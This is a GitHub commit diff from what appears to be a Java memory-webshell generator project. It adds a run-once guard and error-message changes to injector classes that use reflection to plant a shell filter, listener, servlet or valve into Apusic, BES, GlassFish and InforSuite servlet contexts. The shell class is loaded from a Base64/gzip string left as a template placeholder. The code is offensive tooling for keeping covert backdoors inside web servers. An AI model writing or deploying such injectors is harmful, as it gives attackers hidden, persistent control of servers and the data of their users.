Skip to content

Commit 16c2d49

Browse files
committed
perf: run only once
1 parent ea08435 commit 16c2d49

38 files changed

+374
-109
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,9 @@
77
import java.lang.reflect.Array;
88
import java.lang.reflect.Field;
99
import java.lang.reflect.Method;
10-
import java.util.*;
10+
import java.util.HashSet;
11+
import java.util.Map;
12+
import java.util.Set;
1113
import java.util.zip.GZIPInputStream;
1214

1315
/**
@@ -17,6 +19,7 @@
1719
public class ApusicFilterInjector {
1820

1921
private String msg = "";
22+
private static boolean ok = false;
2023

2124
public String getUrlPattern() {
2225
return "{{urlPattern}}";
@@ -31,16 +34,21 @@ public String getBase64String() throws IOException {
3134
}
3235

3336
public ApusicFilterInjector() {
37+
if (ok) {
38+
return;
39+
}
3440
Set<Object> contexts = null;
3541
try {
3642
contexts = getContext();
3743
} catch (Throwable throwable) {
3844
msg += "context error: " + getErrorMessage(throwable);
3945
}
40-
if (contexts != null) {
46+
if (contexts == null) {
47+
msg += "context not found";
48+
} else {
4149
for (Object context : contexts) {
42-
msg += ("context: [" + getContextRoot(context) + "] ");
4350
try {
51+
msg += ("context: [" + getContextRoot(context) + "] ");
4452
Object shell = getShell(context);
4553
inject(context, shell);
4654
msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +57,7 @@ public ApusicFilterInjector() {
4957
}
5058
}
5159
}
60+
ok = true;
5261
System.out.println(msg);
5362
}
5463

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616
public class ApusicListenerInjector {
1717

1818
private String msg = "";
19+
private static boolean ok = false;
1920

2021
public String getUrlPattern() {
2122
return "{{urlPattern}}";
@@ -30,24 +31,30 @@ public String getBase64String() throws IOException {
3031
}
3132

3233
public ApusicListenerInjector() {
34+
if (ok) {
35+
return;
36+
}
3337
Set<Object> contexts = null;
3438
try {
3539
contexts = getContext();
3640
} catch (Throwable throwable) {
3741
msg += "context error: " + getErrorMessage(throwable);
3842
}
39-
if (contexts != null) {
43+
if (contexts == null) {
44+
msg += "context not found";
45+
} else {
4046
for (Object context : contexts) {
41-
msg += ("context: [" + getContextRoot(context) + "] ");
4247
try {
48+
msg += ("context: [" + getContextRoot(context) + "] ");
4349
Object shell = getShell(context);
4450
inject(context, shell);
45-
msg += "[/*] ready\n";
51+
msg += "[" + getUrlPattern() + "] ready\n";
4652
} catch (Throwable e) {
4753
msg += "failed " + getErrorMessage(e) + "\n";
4854
}
4955
}
5056
}
57+
ok = true;
5158
System.out.println(msg);
5259
}
5360

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616
public class ApusicServletInjector {
1717

1818
private String msg = "";
19+
private static boolean ok = false;
1920

2021
public String getUrlPattern() {
2122
return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public String getBase64String() throws IOException {
3031
}
3132

3233
public ApusicServletInjector() {
34+
if (ok) {
35+
return;
36+
}
3337
Set<Object> contexts = null;
3438
try {
3539
contexts = getContext();
3640
} catch (Throwable throwable) {
3741
msg += "context error: " + getErrorMessage(throwable);
3842
}
39-
if (contexts != null) {
43+
if (contexts == null) {
44+
msg += "context not found";
45+
} else {
4046
for (Object context : contexts) {
41-
msg += ("context: [" + getContextRoot(context) + "] ");
4247
try {
48+
msg += ("context: [" + getContextRoot(context) + "] ");
4349
Object shell = getShell(context);
4450
inject(context, shell);
4551
msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public ApusicServletInjector() {
4854
}
4955
}
5056
}
57+
ok = true;
5158
System.out.println(msg);
5259
}
5360

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616
*/
1717
public class BesFilterInjector {
1818
private String msg = "";
19+
private static boolean ok = false;
1920

2021
public String getUrlPattern() {
2122
return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public String getBase64String() throws IOException {
3031
}
3132

3233
public BesFilterInjector() {
34+
if (ok) {
35+
return;
36+
}
3337
Set<Object> contexts = null;
3438
try {
3539
contexts = getContext();
3640
} catch (Throwable throwable) {
3741
msg += "context error: " + getErrorMessage(throwable);
3842
}
39-
if (contexts != null) {
43+
if (contexts == null) {
44+
msg += "context not found";
45+
} else {
4046
for (Object context : contexts) {
41-
msg += ("context: [" + getContextRoot(context) + "] ");
4247
try {
48+
msg += ("context: [" + getContextRoot(context) + "] ");
4349
Object shell = getShell(context);
4450
inject(context, shell);
4551
msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public BesFilterInjector() {
4854
}
4955
}
5056
}
57+
ok = true;
5158
System.out.println(msg);
5259
}
5360

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616
public class BesListenerInjector {
1717

1818
private String msg = "";
19+
private static boolean ok = false;
1920

2021
public String getClassName() {
2122
return "{{className}}";
@@ -26,16 +27,21 @@ public String getBase64String() throws IOException {
2627
}
2728

2829
public BesListenerInjector() {
30+
if (ok) {
31+
return;
32+
}
2933
Set<Object> contexts = null;
3034
try {
3135
contexts = getContext();
3236
} catch (Throwable throwable) {
3337
msg += "context error: " + getErrorMessage(throwable);
3438
}
35-
if (contexts != null) {
39+
if (contexts == null) {
40+
msg += "context not found";
41+
} else {
3642
for (Object context : contexts) {
37-
msg += ("context: [" + getContextRoot(context) + "] ");
3843
try {
44+
msg += ("context: [" + getContextRoot(context) + "] ");
3945
Object shell = getShell(context);
4046
inject(context, shell);
4147
msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public BesListenerInjector() {
4450
}
4551
}
4652
}
53+
ok = true;
4754
System.out.println(msg);
4855
}
4956

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@
1515
public class BesValveInjector {
1616

1717
private String msg = "";
18+
private static boolean ok = false;
1819

1920
public String getClassName() {
2021
return "{{className}}";
@@ -25,16 +26,21 @@ public String getBase64String() {
2526
}
2627

2728
public BesValveInjector() {
29+
if (ok) {
30+
return;
31+
}
2832
Set<Object> contexts = null;
2933
try {
3034
contexts = getContext();
3135
} catch (Throwable throwable) {
3236
msg += "context error: " + getErrorMessage(throwable);
3337
}
34-
if (contexts != null) {
38+
if (contexts == null) {
39+
msg += "context not found";
40+
} else {
3541
for (Object context : contexts) {
36-
msg += ("context: [" + getContextRoot(context) + "] ");
3742
try {
43+
msg += ("context: [" + getContextRoot(context) + "] ");
3844
Object shell = getShell(context);
3945
inject(context, shell);
4046
msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public BesValveInjector() {
4349
}
4450
}
4551
}
52+
ok = true;
4653
System.out.println(msg);
4754
}
4855

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616
public class GlassFishFilterInjector {
1717

1818
private String msg = "";
19+
private static boolean ok = false;
1920

2021
public String getUrlPattern() {
2122
return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public String getBase64String() {
3031
}
3132

3233
public GlassFishFilterInjector() {
34+
if (ok) {
35+
return;
36+
}
3337
Set<Object> contexts = null;
3438
try {
3539
contexts = getContext();
3640
} catch (Throwable throwable) {
3741
msg += "context error: " + getErrorMessage(throwable);
3842
}
39-
if (contexts != null) {
43+
if (contexts == null) {
44+
msg += "context not found";
45+
} else {
4046
for (Object context : contexts) {
41-
msg += ("context: [" + getContextRoot(context) + "] ");
4247
try {
48+
msg += ("context: [" + getContextRoot(context) + "] ");
4349
Object shell = getShell(context);
4450
inject(context, shell);
4551
msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public GlassFishFilterInjector() {
4854
}
4955
}
5056
}
57+
ok = true;
5158
System.out.println(msg);
5259
}
5360

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@
1515
public class GlassFishValveInjector {
1616

1717
private String msg = "";
18+
private static boolean ok = false;
1819

1920
public String getClassName() {
2021
return "{{className}}";
@@ -26,16 +27,21 @@ public String getBase64String() {
2627

2728

2829
public GlassFishValveInjector() {
30+
if (ok) {
31+
return;
32+
}
2933
Set<Object> contexts = null;
3034
try {
3135
contexts = getContext();
3236
} catch (Throwable throwable) {
3337
msg += "context error: " + getErrorMessage(throwable);
3438
}
35-
if (contexts != null) {
39+
if (contexts == null) {
40+
msg += "context not found";
41+
} else {
3642
for (Object context : contexts) {
37-
msg += ("context: [" + getContextRoot(context) + "] ");
3843
try {
44+
msg += ("context: [" + getContextRoot(context) + "] ");
3945
Object shell = getShell(context);
4046
inject(context, shell);
4147
msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public GlassFishValveInjector() {
4450
}
4551
}
4652
}
53+
ok = true;
4754
System.out.println(msg);
4855
}
4956

generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
public class InforSuiteFilterInjector {
1818

1919
private String msg = "";
20+
private static boolean ok = false;
2021

2122
public String getUrlPattern() {
2223
return "{{urlPattern}}";
@@ -31,16 +32,21 @@ public String getBase64String() throws IOException {
3132
}
3233

3334
public InforSuiteFilterInjector() {
35+
if (ok) {
36+
return;
37+
}
3438
Set<Object> contexts = null;
3539
try {
3640
contexts = getContext();
3741
} catch (Throwable throwable) {
3842
msg += "context error: " + getErrorMessage(throwable);
3943
}
40-
if (contexts != null) {
44+
if (contexts == null) {
45+
msg += "context not found";
46+
} else {
4147
for (Object context : contexts) {
42-
msg += ("context: [" + getContextRoot(context) + "] ");
4348
try {
49+
msg += ("context: [" + getContextRoot(context) + "] ");
4450
Object shell = getShell(context);
4551
inject(context, shell);
4652
msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +55,7 @@ public InforSuiteFilterInjector() {
4955
}
5056
}
5157
}
58+
ok = true;
5259
System.out.println(msg);
5360
}
5461

0 commit comments

Comments
 (0)